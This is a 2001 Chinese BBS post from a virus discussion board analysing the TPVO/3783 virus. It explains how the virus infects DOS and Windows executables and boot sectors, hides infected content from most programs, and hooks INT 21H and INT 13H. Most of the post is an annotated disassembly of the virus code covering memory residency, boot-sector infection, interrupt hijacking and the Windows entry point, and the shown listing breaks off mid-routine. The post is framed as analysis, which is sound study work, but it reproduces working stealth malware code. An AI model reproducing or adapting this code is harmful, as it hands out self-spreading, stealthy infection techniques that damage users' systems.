荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: fast (平淡), 信区: Virus
标  题: 病毒介绍
发信站: 荔园晨风BBS站 (Wed Sep 19 18:06:00 2001), 转信

病毒介绍
TPVO/3783 病毒是一种传染性、隐蔽性都很强的病毒,它的独到之处是可以传染
WINDOWS 文件,使病毒可以在  WINDOWS  执行时驻留内存。
    该病毒传染硬盘、软盘引导区及 WINDOWS、DOS 可执行程序,包括.EXE.COM.
OVL.386 等等文件,不传染带覆盖的文件,程序被传染后长度增加 3783 字节,
文件日期被
加上 100 年作为传染标记。
    该病毒驻留内存后,用 DIR 命令看不出文件长度的变化,用 INT 13H  读出
的磁盘引导记录是正常的,而不是带毒的引导记录,用应用程序读出的带毒文件也
都是正常的,
但是由 ARJ、PKZIP、RAR、LHA、BACKUP、MSBACKUP、TELIX  七个程序读出的文件
却是带毒的,所以被这些压缩程序压进文件包或用 TELIX  通过调制解调器传到其
他地方的文件
是带毒的,由此可见该病毒在隐藏和传播上的用心良苦。
    该病毒在传染硬盘主引导区时隐藏于 0 柱面 0 头 5 扇区,传染软盘引导区
时隐藏于新格式化的第 81 个磁道,传染文件时附在文件尾部,病毒本身不加密。

当带毒的 WINDOWS 系统运行时,根目录中的虚拟内存文件 386SPART.PAR 属性会
变成普通属性,用 DIR 命令可以列出。
病毒分析:

1. 驻留内存及截取中断

    该病毒采用修改内存控制块的方法来驻留内存,如果 UMB 存在,病毒会驻留
在 UMB中,该病毒驻留内存后截取 INT 21H 和 INT 13H 中断,来完成对文件和引
导区的传染,
在截取 INT 21H 时,该病毒采取了与众不同的方法。下面是 INT 21H 内部片断,
在中断程序完成了初始化后,将 AH 中的功能号放在 BX 中再乘 2,再用查表的办
法得到相应子
程序的地址,然后用近调用来执行相应子程序,具体见下:
     ...
     FDC8:4198 8ADC        MOV  BL,AH           ;AH 为子功能号
     FDC8:419A D1E3        SHL  BX,1            ;放于 BX 中再乘 2
     ...
     FDC8:41EA 2E8B9F9E3E  MOV  BX,CS:[BX+3E9E] ;3E9E 为各功能地址表的
基地址
     FDC8:41EF 36871EEA05  XCHG BX,SS:[05EA]    ;调用地址在 05EA 中
     FDC8:41F4 368E1EEC05  MOV  DS,SS:[05EC]
     FDC8:41F9 36FF16EA05  CALL SS:[05EA]       ;调用相应功能的子程序
     ...
病毒在驻留时先截取 INT 2AH,在 INT 2AH 中检测到使用的堆栈为 MSDOS.SYS 堆
栈段时,表示中断由 INT 21H 发出,这时由中断返回地址得到 MSDOS.SYS 程序段
的段地址,
再查找以上几句指令并将 CALL SS:[05EA] 改为 CALL XXXX:053D 指向病毒代码,
在完成修改、传染等功能后再转向原来的 INT 21H 执行。由于这一段代码在
INT 21H 的第一百
多句以后,当使用 DOS=HIGH 参数启动时这一段代码被移到 HMA 中, 所以该病毒
的截取手段有很大的欺骗性,不但能骗过几乎所有内存监视程序,而且即使用手工
反汇编 INT
 21H中断程序都不一定能觉察到异常之处。
    在截取 INT 13H 时,病毒先使用未公开中断 INT 2FH 的 1300H 功能来得到
 DOS 内部设备驱动程序使用的原始 INT 13H 地址,然后在  BIOS  中随机寻找一
个中断号大于
 E0H 号的INT XX代码,将这个中断向量指向病毒的 INT 13H服务程序,然后将
DOS 保存的原始INT 13H 地址改成指向 BIOS 中的 INT XX 指令,使得在不同的计
算机中指向病毒
程序的中断向量号都不相同。

2. 传染及其他部分

    病毒截取 INT 13H 来传染磁盘的引导区,在进行普通的读写功能时,病毒并
不传染,所以磁盘读写速度并不明显减慢,只有在对磁盘的引导区进行读写时,病
毒才进行传染。
传染硬盘主引导区时,病毒隐藏在保留磁道 0 柱面 0 头第 5 扇区开始的 8 个扇
区中,原引导记录被保存在 0 柱面 0 头第 13 扇区。一般软盘只有 80 个磁道,
病毒在传染软
盘引导记录时,先格式化出一个第 81 磁道,再将自身隐藏于第 81 磁道 1 扇区
开始的 8个扇区中,原引导记录被保存在第 81 磁道第 9 扇区。当有程序读取引
导记录时, 病
毒将原引导记录读出送回。
   病毒截取 INT 21H 来完成可执行文件的传染和一些欺骗功能,在 INT 21H 的
 11H、12H、4EH、4FH 匹配文件寻找功能中,病毒返回正确的文件长度和时间,在
 57H  读写文
件时间功能中,病毒返回正确的文件时间,在 3FH 读文件功能中, 如果读到文件
被修改的部分,病毒将返回正确的内容,在 40H 写文件功能中,如果写已被传染
的文件, 病毒
将文件复原,到以后关闭文件时重新传染。结果在应用软件看来,带毒文件没有任
何异常之处。
    当执行 INT 21H 的 3DH 打开文件、3EH 关闭文件、43H 文件属性功能、
56H 文件改名、4BH 执行文件时,病毒对文件进行传染,传染后病毒附于文件尾部
,文件开始指针被
指向病毒入口处。对于.COM 文件,病毒将文件第一句指令改为 JMP XXXX  跳转到
病毒入口处,对于普通.EXE 文件,病毒将文件入口指针指向病毒入口处, 将堆栈
指向病毒尾部
200H处。
    下面详细分析病毒对 WINDOWS 可执行文件的修改,由于 WINDOWS 可执行文件
的资料很少见,这里先简单介绍一下 WINDOWS 文件的结构:WINDOWS 文件由 DOS
 执行部分和
 WINDOWS 执行部分组成,DOS 部分只是简单的打印一句提示信息即退出,WINDOWS
  部分以覆盖的方式位于文件后部。文件报头分两部分,第一部分为普通的.EXE
文件报头, 第
二部分为 "NE" 新格式可执行报头,有关部分说明如下:
    普通 .EXE 文件报头  18H  字      重分配表偏移( WINDOWS 文件必须大于
 0040H)
                        3CH  双字    "NE" 可执行报头在程序中的偏移
    "NE" 可执行报头     00H  2 字节  "NE" 符号
     (长 40H 字节)      14H  字      程序入口 IP
                        16H  字      程序入口段的段地址记录号
                        18H  双字    程序初始 SS:SP
                        1CH  字      段地址表中的记录数
                        22H  字      段地址表在程序中的偏移
                        32H  字节    段大小的计数单位 (移位值)
    程序中所有的段都由段地址表中的一个记录来描述,包括段在程序中的偏移、
段的大小、段的属性、段装入时要分配内存的大小,执行程序时,系统由入口段的
记录号查段地
址表得出这个段在程序中的位置和大小,将代码装入内存,再由入口 IP开始执行
。 段地址表中每个记录占用 8 个字节,格式如下:
                        00H  字      本段在程序中的偏移 (乘以计数单位)
                        02H  字      本段的长度 (单位:字节)
                        04H  字      本段的属性
                        06H  字      要分配的容量 (单位:字节)
    病毒增加了一个段地址表记录来描述病毒代码段属性,在 WINDOWS 文件中,
 段地址表一般紧接着 "NE" 报头存放,段地址表后面也紧接着其他数据,中间没
有多余字节,所
以病毒将整个 "NE" 报头和段地址表前移了 8 字节,然后在空出的 8 字节中写下
一个新的段地址表记录, 再将程序入口段记录号改到指向这个新的记录, 具体改
动的数据有:
003CH处的 "NE" 报头偏移减 8,"NE" 报头中 16H 的入口段记录号改为病毒段,
1CH 的段地址表记录数加 1,另外将 04H、24H、26H、28H、2AH 中其他相关表的
偏移加 8。

2. 病毒源码:

;====================================================================
; DOS 可执行文件入口
;====================================================================
F6C8:0000 0E            PUSH    CS
F6C8:0001 1F            POP     DS
F6C8:0002 E80000        CALL    0005 ;重定位
F6C8:0005 5E            POP     SI
F6C8:0006 83EE05        SUB     SI,+05
F6C8:0009 56            PUSH    SI
F6C8:000A 06            PUSH    ES
F6C8:000B B87F18        MOV     AX,187F ;检测内存驻留
F6C8:000E BB5344        MOV     BX,4453
F6C8:0011 CD21          INT     21      (DOS)
F6C8:0013 81FBA187      CMP     BX,87A1
F6C8:0017 753A          JNZ     0053
F6C8:0019 07            POP     ES ;已驻留
F6C8:001A 5E            POP     SI ;执行原程序
F6C8:001B 0E            PUSH    CS
F6C8:001C 1F            POP     DS
F6C8:001D 8B84870E      MOV     AX,[SI+0E87]
F6C8:0021 E8880B        CALL    0BAC
F6C8:0024 740D          JZ      0033 ;.EXE 文件转 0033
F6C8:0026 48            DEC     AX
F6C8:0027 BF0001        MOV     DI,0100 ;恢复 .COM 文件头 3 字节
F6C8:002A 57            PUSH    DI
F6C8:002B FC            CLD
F6C8:002C AB            STOSW
F6C8:002D 8A84890E      MOV     AL,[SI+0E89]
F6C8:0031 AA            STOSB
F6C8:0032 C3            RET      ;执行原 .COM 文件
F6C8:0033 8CC0          MOV     AX,ES ;重定位 .EXE 文件
F6C8:0035 051000        ADD     AX,0010
F6C8:0038 0384950E      ADD     AX,[SI+0E95]
F6C8:003C 8ED0          MOV     SS,AX
F6C8:003E 8BA4970E      MOV     SP,[SI+0E97]
F6C8:0042 8CC0          MOV     AX,ES
F6C8:0044 051000        ADD     AX,0010
F6C8:0047 03849D0E      ADD     AX,[SI+0E9D]
F6C8:004B 50            PUSH    AX
F6C8:004C FFB49B0E      PUSH    WORD PTR [SI+0E9B]
F6C8:0050 06            PUSH    ES
F6C8:0051 1F            POP     DS
F6C8:0052 CB            RETF     ;执行原 .EXE 文件
;
=======================================================================

;驻留内存初始化部分 (调用: 0017)
F6C8:0053 8CC0          MOV     AX,ES
F6C8:0055 48            DEC     AX ;取 MCB
F6C8:0056 E81E00        CALL    0077 ;取最后一块MCB地址
F6C8:0059 E83200        CALL    008E ;驻留内存
F6C8:005C 72BB          JB      0019
F6C8:005E 8ED9          MOV     DS,CX ;截取 INT 2AH
F6C8:0060 B85103        MOV     AX,0351 ;中断到 CS:0351
F6C8:0063 8706A800      XCHG    AX,[00A8] ;由 INT 2AH 继续引导
F6C8:0067 26            ES:
F6C8:0068 A33A04        MOV     [043A],AX ;(转 0351)
F6C8:006B 8CC0          MOV     AX,ES
F6C8:006D 8706AA00      XCHG    AX,[00AA]
F6C8:0071 26            ES:
F6C8:0072 A33C04        MOV     [043C],AX
F6C8:0075 EBA2          JMP     0019 ;执行原程序
;
========================================================================

;找最后一块 MCB 地址
;返回 BX = 最后一块MCB段地址
;调用: 0056
F6C8:0077 33FF          XOR     DI,DI
F6C8:0079 8ED8          MOV     DS,AX
F6C8:007B 803D4D        CMP     BYTE PTR [DI],4D
F6C8:007E 7405          JZ      0085 ;非最后一块转 0085
F6C8:0080 803D5A        CMP     BYTE PTR [DI],5A;最后一块返回
F6C8:0083 7508          JNZ     008D
F6C8:0085 8BD8          MOV     BX,AX
F6C8:0087 034503        ADD     AX,[DI+03]
F6C8:008A 40            INC     AX
F6C8:008B EBEA          JMP     0077 ;AX 为下一块 MCB 地址
F6C8:008D C3            RET
;
========================================================================
=
;驻留内存子程序
;调用: 0059
F6C8:008E 8EDB          MOV     DS,BX
F6C8:0090 8B4503        MOV     AX,[DI+03]
F6C8:0093 2D3801        SUB     AX,0138 ;截取内存 1380H 字节
F6C8:0096 720E          JB      00A6
F6C8:0098 894503        MOV     [DI+03],AX
F6C8:009B 03D8          ADD     BX,AX
F6C8:009D 43            INC     BX
F6C8:009E 8EC3          MOV     ES,BX
F6C8:00A0 B9C70E        MOV     CX,0EC7 ;移动病毒 0EC7 字节
F6C8:00A3 F3            REPZ ;到内存中
F6C8:00A4 2E            CS:
F6C8:00A5 A4            MOVSB
F6C8:00A6 C3            RET
;=====================================================================
; 引导区代码部分
;=====================================================================
F6C8:00A7 FA            CLI
F6C8:00A8 33DB          XOR     BX,BX
F6C8:00AA 8ED3          MOV     SS,BX
F6C8:00AC BC007C        MOV     SP,7C00
F6C8:00AF 8EC4          MOV     ES,SP ;暂时将病毒读到 7C00:0000
F6C8:00B1 B80802        MOV     AX,0208
F6C8:00B4 B90150        MOV     CX,5001 ;硬盘为 0005
F6C8:00B7 BA0000        MOV     DX,0000 ;软盘为 5001
F6C8:00BA CD13          INT     13      (BIOS Disk)
F6C8:00BC 7200          JB      00BE
F6C8:00BE 06            PUSH    ES
F6C8:00BF 68C300        PUSH    00C3 ;转高端继续执行
F6C8:00C2 CB            RETF
F6C8:00C3 E82701        CALL    01ED ;随机生成 INT 13H 地址
F6C8:00C6 830EA800FF    OR      WORD PTR [00A8],FFFF ;????
F6C8:00CB 871E4C00      XCHG    BX,[004C]
F6C8:00CF 2E            CS:
F6C8:00D0 891EF800      MOV     [00F8],BX
F6C8:00D4 8CC0          MOV     AX,ES
F6C8:00D6 87064E00      XCHG    AX,[004E] ;截取 INT 13H
F6C8:00DA 0E            PUSH    CS ;到 CS:00FC
F6C8:00DB 1F            POP     DS
F6C8:00DC A3FA00        MOV     [00FA],AX ;保留原 INT 13H 到 00FA
F6C8:00DF C606FF003C    MOV     BYTE PTR [00FF],3C
F6C8:00E4 C60604013C    MOV     BYTE PTR [0104],3C
F6C8:00E9 C6065805E8    MOV     BYTE PTR [0558],E8
F6C8:00EE CD19          INT     19      (BIOS Bootstrap)
;
========================================================================

;病毒调用 INT 13H
F6C8:00F0 9C            PUSHF
F6C8:00F1 FA            CLI
F6C8:00F2 0E            PUSH    CS
F6C8:00F3 E80100        CALL    00F7
F6C8:00F6 C3            RET
F6C8:00F7 EA59EC00F0    JMP     F000:EC59
;
========================================================================
=
; 新 INT 13H 代码部分
;
========================================================================
=
F6C8:00FC 83C406        ADD     SP,+06
F6C8:00FF EB3D          JMP     013E ===> ;本句代码当病毒从 BOOT 区
F6C8:0101 60            PUSHA    ;引入时为 CMP AL,3D
F6C8:0102 1E            PUSH    DS
F6C8:0103 06            PUSH    ES
F6C8:0104 EB23          JMP     0129 ===> ;本句代码当病毒从 BOOT 区
F6C8:0106 6A00          PUSH    0000 ;引入时为 CMP AL,23
F6C8:0108 1F            POP     DS
F6C8:0109 C41EA800      LES     BX,[00A8]
F6C8:010D 26            ES:
F6C8:010E 803FCF        CMP     BYTE PTR [BX],CF
F6C8:0111 7514          JNZ     0127 ;INT 2AH 不是 IRET
F6C8:0113 2E            CS: ;转 0127 (013B) 执行
F6C8:0114 891E3A04      MOV     [043A],BX
F6C8:0118 2E            CS:
F6C8:0119 8C063C04      MOV     [043C],ES ;设置 BOOT 引入 INT 2A
F6C8:011D C706A8008603  MOV     WORD PTR [00A8],0386 ;到 CS:0386
F6C8:0123 8C0EAA00      MOV     [00AA],CS
F6C8:0127 EB12          JMP     013B
;
========================================================================
===
F6C8:0129 B80312        MOV     AX,1203
F6C8:012C CD2F          INT     2F      (Multiplex)
F6C8:012E 8CD8          MOV     AX,DS
F6C8:0130 3D1001        CMP     AX,0110   ===> ;本数据由 039B 填入
F6C8:0133 7406          JZ      013B ;为初始化时 MSDOS.SYS 数据段
F6C8:0135 2E            CS:
F6C8:0136 C60604013C    MOV     BYTE PTR [0104],3C
F6C8:013B 07            POP     ES
F6C8:013C 1F            POP     DS
F6C8:013D 61            POPA
;
========================================================================
====
; 新 INT 13H 代码部分
F6C8:013E 80FC02        CMP     AH,02
F6C8:0141 72B4          JB      00F7
F6C8:0143 80FC03        CMP     AH,03
F6C8:0146 77AF          JA      00F7
F6C8:0148 83F901        CMP     CX,+01
F6C8:014B 75AA          JNZ     00F7
F6C8:014D 0AF6          OR      DH,DH
F6C8:014F 75A6          JNZ     00F7
F6C8:0151 80FA80        CMP     DL,80 ;不是读引导区
F6C8:0154 77A1          JA      00F7 ;转原 INT 13H
F6C8:0156 E897FF        CALL    00F0 ;读出引导区
F6C8:0159 7235          JB      0190
F6C8:015B 60            PUSHA
F6C8:015C 1E            PUSH    DS
F6C8:015D 06            PUSH    ES
F6C8:015E 9C            PUSHF
F6C8:015F 06            PUSH    ES
F6C8:0160 8BF3          MOV     SI,BX
F6C8:0162 06            PUSH    ES
F6C8:0163 1F            POP     DS
F6C8:0164 BF7711        MOV     DI,1177
F6C8:0167 0E            PUSH    CS
F6C8:0168 07            POP     ES
F6C8:0169 B90001        MOV     CX,0100 ;保存原引导区到
F6C8:016C F3            REPZ ;CS:1177
F6C8:016D A5            MOVSW
F6C8:016E 0E            PUSH    CS
F6C8:016F 1F            POP     DS
F6C8:0170 BF7711        MOV     DI,1177
F6C8:0173 817D468EC4    CMP     WORD PTR [DI+46],C48E
F6C8:0178 07            POP     ES
F6C8:0179 7518          JNZ     0193 ;未感染转 0193
F6C8:017B B80102        MOV     AX,0201 ;已感染则读出
F6C8:017E 8B4D4C        MOV     CX,[DI+4C] ;原引导区
F6C8:0181 8A7550        MOV     DH,[DI+50]
F6C8:0184 80C108        ADD     CL,08
F6C8:0187 9D            POPF
F6C8:0188 E865FF        CALL    00F0
F6C8:018B 9C            PUSHF
F6C8:018C 9D            POPF
F6C8:018D 07            POP     ES
F6C8:018E 1F            POP     DS
F6C8:018F 61            POPA
F6C8:0190 CA0200        RETF    0002
;
========================================================================
=
;病毒传染引导区代码部分
F6C8:0193 0E            PUSH    CS
F6C8:0194 07            POP     ES
F6C8:0195 B90500        MOV     CX,0005
F6C8:0198 0AD2          OR      DL,DL
F6C8:019A 7812          JS      01AE ;硬盘转 01AE
F6C8:019C B80A05        MOV     AX,050A ;传染软盘引导区部分
F6C8:019F B550          MOV     CH,50 ;格式化第 50H 磁道
F6C8:01A1 32F6          XOR     DH,DH
F6C8:01A3 BB4D0E        MOV     BX,0E4D
F6C8:01A6 E847FF        CALL    00F0
F6C8:01A9 7240          JB      01EB
F6C8:01AB B90150        MOV     CX,5001
F6C8:01AE 890EB500      MOV     [00B5],CX
F6C8:01B2 52            PUSH    DX
F6C8:01B3 80E280        AND     DL,80
F6C8:01B6 8916B800      MOV     [00B8],DX
F6C8:01BA 5A            POP     DX
F6C8:01BB B80803        MOV     AX,0308 ;写病毒到磁盘
F6C8:01BE 33DB          XOR     BX,BX
F6C8:01C0 E82DFF        CALL    00F0
F6C8:01C3 7226          JB      01EB
F6C8:01C5 B80103        MOV     AX,0301 ;保存原引导区
F6C8:01C8 BB7711        MOV     BX,1177
F6C8:01CB 80C108        ADD     CL,08
F6C8:01CE E81FFF        CALL    00F0
F6C8:01D1 7218          JB      01EB
F6C8:01D3 C707EB3C      MOV     WORD PTR [BX],3CEB
F6C8:01D7 BEA700        MOV     SI,00A7
F6C8:01DA 8D7F3E        LEA     DI,[BX+3E]
F6C8:01DD B91C00        MOV     CX,001C
F6C8:01E0 F3            REPZ
F6C8:01E1 A4            MOVSB
F6C8:01E2 B80103        MOV     AX,0301
F6C8:01E5 B90100        MOV     CX,0001
F6C8:01E8 E805FF        CALL    00F0 ;写病毒到引导区
F6C8:01EB EB9F          JMP     018C ;返回调用处
;
========================================================================

;随机生成一个 INT 13H 地址
;调用: 00C3 0369
;有二种方式 1. 在 BIOS 中找一个 > 80号的 INT XX 代码
; 将 INT XX 指向原 INT 13, 再将 INT 13 指向 BIOS 中 INT XX 代码
;     2. 在 0000:04FB 中写下 JMP 原 INT 13
; 再将 INT 13 指向 0000:04FB
F6C8:01ED 33F6          XOR     SI,SI
F6C8:01EF B800F0        MOV     AX,F000
F6C8:01F2 8ED8          MOV     DS,AX
F6C8:01F4 8EC0          MOV     ES,AX
F6C8:01F6 4E            DEC     SI
F6C8:01F7 741F          JZ      0218
F6C8:01F9 803CCD        CMP     BYTE PTR [SI],CD
F6C8:01FC 75F8          JNZ     01F6 ;找一个 INT 代码
F6C8:01FE 3A4401        CMP     AL,[SI+01]
F6C8:0201 73F3          JNB     01F6
F6C8:0203 807C01E0      CMP     BYTE PTR [SI+01],E0
F6C8:0207 73ED          JNB     01F6 ;小于 INT E0 继续找
F6C8:0209 864401        XCHG    AL,[SI+01]
F6C8:020C 864401        XCHG    AL,[SI+01]
F6C8:020F 3A4401        CMP     AL,[SI+01] ;保存 INT 号于 AL 中
F6C8:0212 75E2          JNZ     01F6 ;不在 BIOS 中继续找
F6C8:0214 8BDE          MOV     BX,SI ;保存地址于 BX 中
F6C8:0216 EBDE          JMP     01F6
F6C8:0218 8EDE          MOV     DS,SI
F6C8:021A 3C80          CMP     AL,80 ;在 BIOS 中未找到
F6C8:021C 720C          JB      022A ;INT ?? 代码转 022A
F6C8:021E 2E            CS:
F6C8:021F C606FE0006    MOV     BYTE PTR [00FE],06 ;ADD SP,6
F6C8:0224 B404          MOV     AH,04 ;丢弃 INT XX 之返回地址
F6C8:0226 F6E4          MUL     AH ;AX 为中断向量表中地址
F6C8:0228 EB14          JMP     023E
F6C8:022A 2E            CS:
F6C8:022B C606FE0000    MOV     BYTE PTR [00FE],00
F6C8:0230 6A00          PUSH    0000
F6C8:0232 1F            POP     DS ;在 0000:04FB 中写下
F6C8:0233 1E            PUSH    DS ;代码 JMP CS:00FC
F6C8:0234 07            POP     ES
F6C8:0235 BBFB04        MOV     BX,04FB
F6C8:0238 C607EA        MOV     BYTE PTR [BX],EA
F6C8:023B B8FC04        MOV     AX,04FC
F6C8:023E 2E            CS:
F6C8:023F A34502        MOV     [0245],AX
F6C8:0242 EB00          JMP     0244
F6C8:0244 BE0003        MOV     SI,0300 ;值由上决定
F6C8:0247 C704FC00      MOV     WORD PTR [SI],00FC
F6C8:024B 8C4C02        MOV     [SI+02],CS ;设新 INT 13H 向量
F6C8:024E C3            RET      ;到 CS:00FC
;
========================================================================
==
F6C8:024F 50            PUSH    AX ;不详
F6C8:0250 51            PUSH    CX
F6C8:0251 52            PUSH    DX
F6C8:0252 B91000        MOV     CX,0010
F6C8:0255 F7E1          MUL     CX
F6C8:0257 8BCA          MOV     CX,DX
F6C8:0259 92            XCHG    AX,DX
F6C8:025A B80700        MOV     AX,0007
F6C8:025D CD31          INT     31      (DPMI API)
F6C8:025F 5A            POP     DX
F6C8:0260 59            POP     CX
F6C8:0261 58            POP     AX
F6C8:0262 C3            RET
;
========================================================================
==
; WINDOWS 文件开始执行入口
;
========================================================================
==
F6C8:0263 60            PUSHA
F6C8:0264 1E            PUSH    DS
F6C8:0265 06            PUSH    ES
F6C8:0266 E80000        CALL    0269 ;重定位
F6C8:0269 5E            POP     SI
F6C8:026A 81EE6902      SUB     SI,0269
F6C8:026E B87F18        MOV     AX,187F ;内存驻留校验
F6C8:0271 BB5344        MOV     BX,4453
F6C8:0274 CD21          INT     21      (DOS)
F6C8:0276 81FBA187      CMP     BX,87A1
F6C8:027A 7503          JNZ     027F ;已驻留转 0328
F6C8:027C E9A900        JMP     0328
F6C8:027F 33C0          XOR     AX,AX ;
F6C8:0281 B90100        MOV     CX,0001
F6C8:0284 CD31          INT     31      (DPMI API)
F6C8:0286 93            XCHG    AX,BX
F6C8:0287 B80800        MOV     AX,0008
F6C8:028A CD31          INT     31      (DPMI API)
F6C8:028C 40            INC     AX
F6C8:028D B1F2          MOV     CL,F2
F6C8:028F CD31          INT     31      (DPMI API)
F6C8:0291 8EDB          MOV     DS,BX
F6C8:0293 B452          MOV     AH,52
F6C8:0295 CD21          INT     21      (DOS)
F6C8:0297 26            ES:
F6C8:0298 8B47FE        MOV     AX,[BX-02]
F6C8:029B 33FF          XOR     DI,DI
F6C8:029D 33D2          XOR     DX,DX
F6C8:029F 8CDB          MOV     BX,DS
F6C8:02A1 E8ABFF        CALL    024F
F6C8:02A4 803D4D        CMP     BYTE PTR [DI],4D
F6C8:02A7 7405          JZ      02AE
F6C8:02A9 803D5A        CMP     BYTE PTR [DI],5A
F6C8:02AC 7521          JNZ     02CF
F6C8:02AE 8BE8          MOV     BP,AX
F6C8:02B0 8B4508        MOV     AX,[DI+08]
F6C8:02B3 0D2020        OR      AX,2020
F6C8:02B6 3D7769        CMP     AX,6977
F6C8:02B9 750C          JNZ     02C7
F6C8:02BB 8B450A        MOV     AX,[DI+0A]
F6C8:02BE 0C20          OR      AL,20
F6C8:02C0 3D6E00        CMP     AX,006E
F6C8:02C3 7502          JNZ     02C7
F6C8:02C5 8BD5          MOV     DX,BP
F6C8:02C7 8BC5          MOV     AX,BP
F6C8:02C9 034503        ADD     AX,[DI+03]
F6C8:02CC 40            INC     AX
F6C8:02CD EBD0          JMP     029F
F6C8:02CF 95            XCHG    AX,BP
F6C8:02D0 E87CFF        CALL    024F
F6C8:02D3 816D033801    SUB     WORD PTR [DI+03],0138
F6C8:02D8 034503        ADD     AX,[DI+03]
F6C8:02DB 40            INC     AX
F6C8:02DC E870FF        CALL    024F
F6C8:02DF 8EC3          MOV     ES,BX
F6C8:02E1 95            XCHG    AX,BP
F6C8:02E2 B80A00        MOV     AX,000A
F6C8:02E5 8CCB          MOV     BX,CS
F6C8:02E7 CD31          INT     31      (DPMI API)
F6C8:02E9 8ED8          MOV     DS,AX
F6C8:02EB B97D0E        MOV     CX,0E7D
F6C8:02EE F3            REPZ
F6C8:02EF A4            MOVSB
F6C8:02F0 8CDB          MOV     BX,DS
F6C8:02F2 91            XCHG    AX,CX
F6C8:02F3 E859FF        CALL    024F
F6C8:02F6 B85103        MOV     AX,0351
F6C8:02F9 8706A800      XCHG    AX,[00A8]
F6C8:02FD 26            ES:
F6C8:02FE A33A04        MOV     [043A],AX
F6C8:0301 55            PUSH    BP
F6C8:0302 872EAA00      XCHG    BP,[00AA]
F6C8:0306 26            ES:
F6C8:0307 892E3C04      MOV     [043C],BP
F6C8:030B 5D            POP     BP
F6C8:030C 92            XCHG    AX,DX
F6C8:030D 0BC0          OR      AX,AX
F6C8:030F 7417          JZ      0328
F6C8:0311 E83BFF        CALL    024F
F6C8:0314 B83003        MOV     AX,0330
F6C8:0317 87061A00      XCHG    AX,[001A]
F6C8:031B 26            ES:
F6C8:031C A34D03        MOV     [034D],AX
F6C8:031F 872E1C00      XCHG    BP,[001C]
F6C8:0323 26            ES:
F6C8:0324 892E4F03      MOV     [034F],BP
F6C8:0328 07            POP     ES
F6C8:0329 1F            POP     DS
F6C8:032A 61            POPA
F6C8:032B EA0000FFFF    JMP     FFFF:0000
F6C8:0330 50            PUSH    AX
F6C8:0331 1E            PUSH    DS
F6C8:0332 6A00          PUSH    0000
F6C8:0334 1F            POP     DS
F6C8:0335 B88603        MOV     AX,0386
F6C8:0338 8706A800      XCHG    AX,[00A8]
F6C8:033C 2E            CS:
F6C8:033D A33A04        MOV     [043A],AX
F6C8:0340 8CC8          MOV     AX,CS
F6C8:0342 8706AA00      XCHG    AX,[00AA]
F6C8:0346 2E            CS:
F6C8:0347 A33C04        MOV     [043C],AX
F6C8:034A 1F            POP     DS
F6C8:034B 58            POP     AX
F6C8:034C EAB1022805    JMP     0528:02B1
;
========================================================================
==
; 文件驻留引入 INT 2A 代码部分
; 初始化时使用
;
========================================================================
==
F6C8:0351 60            PUSHA
F6C8:0352 1E            PUSH    DS
F6C8:0353 06            PUSH    ES
F6C8:0354 2E            CS:
F6C8:0355 C606FF00EB    MOV     BYTE PTR [00FF],EB ;INT 13H
F6C8:035A 2E            CS: ;不检测
F6C8:035B C60658053D    MOV     BYTE PTR [0558],3D ;INT 21H 不检测
F6C8:0360 B80016        MOV     AX,1600 ;WINDOWS 增强模式检验
F6C8:0363 CD2F          INT     2F
F6C8:0365 0AC0          OR      AL,AL
F6C8:0367 7505          JNZ     036E ;WINDOWS 运行转 036E
F6C8:0369 E881FE        CALL    01ED ;随机生成 INT 13H 地址
F6C8:036C EB03          JMP     0371
F6C8:036E E8B9FE        CALL    022A ;随机生成 INT 13H 地址
F6C8:0371 B80013        MOV     AX,1300 ;取得原 INT 13H 地址
F6C8:0374 8BD3          MOV     DX,BX ;并设置新 INT 13H 地址
F6C8:0376 06            PUSH    ES
F6C8:0377 1F            POP     DS ;INT 2F 之 1300 功能
F6C8:0378 CD2F          INT     2F ;入口  ES:BX 及 DS:DX
F6C8:037A 2E            CS: ;为新 INT 13H 地址
F6C8:037B 8916F800      MOV     [00F8],DX ;出口  ES:BX 及 DS:DX
F6C8:037F 2E            CS: ;为旧 INT 13H 地址
F6C8:0380 8C1EFA00      MOV     [00FA],DS
F6C8:0384 EB03          JMP     0389 ;转截取 INT 21H (0389)
;
========================================================================
==
;BOOT 引导驻留引入 INT 2A 入口
F6C8:0386 60            PUSHA
F6C8:0387 1E            PUSH    DS
F6C8:0388 06            PUSH    ES
;
========================================================================
==
;截取 INT 21H 代码部分
F6C8:0389 B80312        MOV     AX,1203 ;取 MSDOS.SYS 数据段地址
F6C8:038C CD2F          INT     2F ;返回段地址 = DS
F6C8:038E 8CD8          MOV     AX,DS
F6C8:0390 8CD6          MOV     SI,SS
F6C8:0392 2BF0          SUB     SI,AX
F6C8:0394 7403          JZ      0399 ;在 MSDOS.SYS 中执行
F6C8:0396 E99D00        JMP     0436 ;转 0399, 否则退出
F6C8:0399 0E            PUSH    CS
F6C8:039A 1F            POP     DS
F6C8:039B A33101        MOV     [0131],AX
F6C8:039E C606C00DEB    MOV     BYTE PTR [0DC0],EB
F6C8:03A3 C6060401EB    MOV     BYTE PTR [0104],EB
F6C8:03A8 C4063A04      LES     AX,[043A]
F6C8:03AC 8EDE          MOV     DS,SI
F6C8:03AE A3A800        MOV     [00A8],AX
F6C8:03B1 8C06AA00      MOV     [00AA],ES ;恢复原 INT 2A 中断向量
F6C8:03B5 8BEC          MOV     BP,SP
F6C8:03B7 8E5E16        MOV     DS,[BP+16] ;调用代码段
F6C8:03BA 83FE80        CMP     SI,-80 ;为 INT 21 的代码段
F6C8:03BD 7777          JA      0436
F6C8:03BF AC            LODSB
F6C8:03C0 3C2E          CMP     AL,2E ;找 2E 8B 9F xx xx
F6C8:03C2 75F6          JNZ     03BA ;即 MOV BX,CS:[BX+xxxx]
F6C8:03C4 AD            LODSW
F6C8:03C5 3D8B9F        CMP     AX,9F8B
F6C8:03C8 75F0          JNZ     03BA
F6C8:03CA AD            LODSW    ;此地址为 INT 21 功能=>子程序
F6C8:03CB 2E            CS: ;转换表基址
F6C8:03CC A35111        MOV     [1151],AX ;保存地址于 1151
F6C8:03CF B93000        MOV     CX,0030
F6C8:03D2 4E            DEC     SI
F6C8:03D3 AD            LODSW
F6C8:03D4 3D871E        CMP     AX,1E87 ;找 87 1E (XCHG BX,SS:[xxxx])
F6C8:03D7 E0F9          LOOPNE  03D2
F6C8:03D9 E3DF          JCXZ    03BA
F6C8:03DB AD            LODSW
F6C8:03DC 2E            CS:
F6C8:03DD A35311        MOV     [1153],AX ;调用 INT 21 子功能地址
F6C8:03E0 46            INC     SI ;找 36 FF 16 xx xx
